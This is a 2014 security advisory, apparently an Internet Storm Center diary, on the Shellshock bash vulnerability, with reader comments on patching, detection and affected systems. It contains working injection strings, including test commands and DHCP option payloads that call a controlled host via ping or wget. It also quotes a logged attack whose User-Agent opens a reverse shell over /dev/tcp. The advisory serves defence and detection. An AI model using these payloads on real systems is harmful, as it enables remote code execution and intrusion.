Update on CVE-2014-6271: Vulnerability in bash (shellshock)
On Wednesday (Sept. 24th), a vulnerability in bash was announced, that was originally found by Stephane Schazelas. The vulnerability allows for arbitrary code execution in bash by setting specific environment variables. Later Tavis Ormandy released a second exploit that will work on patched systems. Demonstration that the patch released yesterday is incomplete. The vulnerability has now become known as "shellshock". Two CVE numbers have been assigned. The first CVE (CVE-2014-6271) was assigned for the vulnerability discovered by Stephane, the second CVE (CVE-2014-7169) was assigned to the modified injection technique discovered by Tavis. [fsf][cve1][cve2]
What is the impact of the vulnerability?
At first, the vulnerability doesn't look all that serious. Executing commands is what bash is used for. But in this case, code can be executed without the user's intent by setting an environment variable.
The most problematic scenario is bash scripts executed via cgi-bin. The CGI specification requires the web server to convert HTTP request headers supplied by the client to environment variables. If a bash script is called via cgi-bin, an attacker may use this to execute code as the web server.
Other, less likely scenarios involve ssh, which can set environment variables, but they would have to be set on the server in a configuration file. DHCP clients may in some cases execute bash scripts and use environment variables supplied by the server. This case may be exploitable if the user connects to an untrusted DHCP server ("cofeehouse wifi"). [tru]
Should I apply the patch?
Yes. The initial patch released only fixed one aspect of the vulnerability. However, a better patch was released for many Linux systems yesterday (Thursday 25th). Please make sure you apply this updated patch to mitigate this vulnerability. [ubu]
What are my other options? What else should I do?
Since the patch is incomplete, you should try to implement additional measures to protect your systems. Various Intrusion Detection System (IDS) and Web Application Firewall (WAF) vendors have released rules to block exploitation. Realize that these rules may be incomplete as well. Many rules I have seen so far just look for the string "() {" which was present in the original proof of concept exploit, but could easily be changed for example by adding more or different white spaces.
You could switch your default shell to an alternative like ksh or sh. But this,will likely break existing scripts. Different shells use slightly different syntax.
On many embedded systems you may already use an alternative shell ("busybox") that is not vulnerable.
Another option to limit the impact of the vulnerability is SELinux, but by default, it does not prevent the initial exploit. [sel]
How do I find vulnerable systems?
If you can log on to the system you can use one of these test strings:
To check if you are patched, you can use the original test string:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"If you are patched, but want to demonstrate that you are still vulnerable, you
can use this command:
env X='() { (a)=>\' bash -c "echo date";This command will return an error on a patched system, but it will still
create an empty file called "echo".
There are various modules for vulnerability scanners to search for vulnerable systems. You can also use a quick Google search for likely vulnerable web servers:
filetype:sh inurl:cgi-bin site:[your domain]
This Google check my return shell scripts that use shells other then bash.
Be careful to check web servers in embedded systems like routers as they may not only run bash scripts, but they may do so at elevated privileges. Many empeded systems use busybox, not bash, and are save. But if bash is used, these systems may be vulnerable.
Other vulnerable systems include F5 load balancers and OS X (Apple) systems [f5-1][f5-2][osx]. Cisco published two articles outlining how it's devices are affected [cisco1][cisco2].
Apple stated that "With OS X, systems are safe by default and not exposed to remote exploits of bash unless users configure advanced UNIX services,? - [tps] . It is not clear if OS X can be exploited via DHCP. But it is certainly possible and not uncommon for users to install web servers on OS X.
It also may be possible to find exposed systems through DHCP:
From one of our readers (Big Shout out and thank you to Patrick!)
Using DHCP Options, you may be able increase detection of systems that are exposed to the bug. At first Patrick's team was using DHCP option 114, then dialog revealed that option 95 might serve as a better 'option' (pun intended).
The Solution:
option option-114 = "() { ignored;}; ping -c 1 IP.THAT.YOU.CONTROL";and running a packet sniffer on IP.THAT.YOU.CONTROL.
It's most reliable and least intrusive (1 ICMP packet).
Unless ICMP filtering is in place in which case, use...
option option-114 = "() { ignored;}; wget -O /dev/null
http://IP.THAT.YOU.CONTROL/ShellShocked";will also work on systems that have wget. Just tail logs for 404s
NOTE!: option-114 is used by VoIP (provisioning URL) so thread carefully on
telecomms networks!
This DHCP solution is experimental so be careful!
Threatstop published a list of IPs known to scan/exploit the vulnerability [thr]
Are systems already being exploited?
We have seen reports of scans for the vulnerability. The cgi-bin exploit is used very agressively and we already have seen multiple attacks against our own web servers.
Scans also started against some well known cgi-bin scripts that are part of larger packages. For example cPanel's /cgi-sys/defaultwebpage.cgi. [vol]
We do see numerous exploit attempts against our own (non-vulnerable) web servers, and are receiving many reports of exploit attempts. For example, here a log entry in which the User-Agent was set to the exploit value:
178.86.28.56 - - [25/Sep/2014:21:24:54 +0000] "GET /iscfavicon.ico HTTP/1.1" 200 1406 "-" "() { :; }; bash -i >& /dev/tcp/178.86.28.56/9999 0>&1" "-"
We are now seeing reports of worms in the wild exploiting telnet on DoD networks, through the BotNet WopBot [worm]. See resources for details.
How is exploitation happening?
There are currently 3 different avenues that are being explored as most likely to expose the vulnerability:
HTTP: cgi-bin scripts using bash. They do not necessarily have to use a /cgi-bin/ URL . Different directories can be configured to expose scripts to cgi-bin. This vulnerability is also not limited to Apache. CGI scripts writen in other languages (perl, python) may be vulnerable if they call bash [see comment below]
DHCP: This exploit vector is a tad harder to reach, but can attack clients as well as servers. In Linux, the dhcp clients sets environment variables based on data supplied by the DHCP server. The client then calls various bash scripts to adjust network configurations. A malicious DHCP server may provide crafted data that will then lead to code execution via the bash vulnerability. This is in particularly critical as these scripts are executed as root.
A metasploit module has been released [met] and the exploit is easily performed using standard DHCP servers [tru].
SSH: In ssh, the user may set environment variables when connecting to an ssh server. These can then be used to bypass shell restrictions imposed on the user.
[cisco1] http://tools.cisco.com/security/center/mcontent/CiscoSecurityAdvisory/cisco-sa-20140926-bash
??[cisco2] http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
[cve1]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
??[cve2]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169
[f5-1] https://twitter.com/ashk4n/status/515121090688196609
??[f5-2] https://devcentral.f5.com/articles/cve-2014-6271-shellshocked
[fsf] https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
??[met] https://github.com/rapid7/metasploit-framework/pull/3891
[osx] http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-shellshock-the-remote-exploit-cve-2014-6271-an/146851#146851
[sel] http://danwalsh.livejournal.com/71122.html
[thr] http://blog.threatstop.com/2014/09/27/threatstop-blocking-shellshock-bash-scanners/
[tps] http://threatpost.com/apple-os-x-safe-by-default-against-bash-vulnerability/108586#sthash.y3ureGEh.dpuf
[tru] https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
[ubu] http://www.ubuntu.com/usn/usn-2363-1/
[vol] http://www.volexity.com/blog/?p=19
[snort] https://www.snort.org/advisories/vrt-rules-2014-09-24.html
[meta] https://github.com/rapid7/metasploit-framework/pull/3891
[deb] https://security-tracker.debian.org/tracker/CVE-2014-7169
[worm] http://www.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod-networks.aspxCVE-2014-7169
| Network Monitoring and Threat Detection In-Depth | Singapore | Nov 18th - Nov 23rd 2024 |
Comments
hxxps://github.com/rapid7/metasploit-framework/pull/3884
hxxps://github.com/rapid7/metasploit-framework/pull/3880
hxxps://github.com/rapid7/metasploit-framework/pull/3885
hxxps://github.com/rapid7/metasploit-framework/pull/3882
Dana Taylor
@miss_sudo
Anonymous
Sep 25th 2014
1 decade ago
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Note the :; rather than the ;; in the Diary entry.
The modified test string is either
$ env -i X='() { (a)=>\' bash -c 'date'
if you want the 0 byte date file created, or
$ env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
if you want a file named echo created which contains the current date and time.
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
https://bugzilla.redhat.com/show_bug.cgi?id=1141597
Anonymous
Sep 25th 2014
1 decade ago
Can this code injection RISK be managed by permissions, setuid and setgid? Why are systems with poor permission or that have not considered this risk publicly facing? Is the failure not addressing or managing the risk at deployment? Who are the companies or security folks responsible for the management? (A name names so to speak.. company X hired company y and they did not perform admin 101) Not to mention if your a security vendor and your products can be compromised by this code injection.... <--Again name products....
While vulnerable, which still seems to be the case after the update, is the major issue is the lack of admin skills to manage this code injection risk?
Maybe the focus needs to be on developing the next generation of exceptional admins...
We can also ask, how many of these kind of issues are in expert admin's play books that can wreak havoc on far less skilled admins? Kind of similar to the old school aliasing of commands on the newbie...
Anonymous
Sep 25th 2014
1 decade ago
find / -perm -04000 -ls
find / -perm -02000 -ls
Unless of course you did that all those years ago....
Going to be interesting.
Anonymous
Sep 25th 2014
1 decade ago
The answer is no... it can't be managed with setuid and setgid.
The insinuation that this is an admin issue doesn't seem to be rational.
This is a software bug in the shell itself that can be used to execute arbitrary code within the context of a shell.
The greatest foreseen danger is a CGI script running under software such as Apache or PHP will invoke a vulnerable shell to run a command.
The shell command contained may then use "exec" to replace the shell with an arbitrary binary which may then deliver a privilege escalation attack to become root and run some commands.
Anonymous
Sep 25th 2014
1 decade ago
Or if you believe that the risk exists only if certain sloppy administrative mistakes are made, again please name those specifically.
Anonymous
Sep 25th 2014
1 decade ago
The sad thing is that most likely the US government (NSA) and other governments (Germany, China, Russia, etc.) have known about this exploit for years but have not released it to the public in order to use it for their own advantage.
It is not necessarily a lack of skill but a lack of communication between governments and private enterprises. I believe there are several efforts/organizations that are attempting to fix this issue but as long as people/governments/organizations are holding vulnerabilities hostage for their own advantage, security will continue to suffer. And it is not only the governments that are to blame, but also the shady and near-criminal zero-day exploit vendors that are to blame.
Anonymous
Sep 25th 2014
1 decade ago
Anonymous
Sep 25th 2014
1 decade ago
Has anyone actually seen "Internet of Things" devices being vulnerable to this? Every single device, router, lightbulb, thermostat, tv, security camera, and printer I have poked at is using busybox for its shell. I haven't found any embedded devices yet that are running bash. Which makes sense as the memory and storage constraints means bash is unnecessary bloat. Finding plenty of vulnerable desktops and servers but not a single embedded device with bash. I guess they could be out there but am not finding them in my scans which either means they aren't very common or the scanning tools available don't work on those types of devices. I stopped scanning for the vulnerability directly and just started logging into the embedded devices and checking what is providing the shell. And so far no bash.
But am seeing stories like this over at CNN http://money.cnn.com/2014/09/24/technology/security/bash-bug/ saying that the sky is falling because our light bulbs are after us.
So I guess the big question is has any actually found an embedded devices or appliances that are actually vulnerable to this?
Anonymous
Sep 25th 2014
1 decade ago
Anonymous
Sep 25th 2014
1 decade ago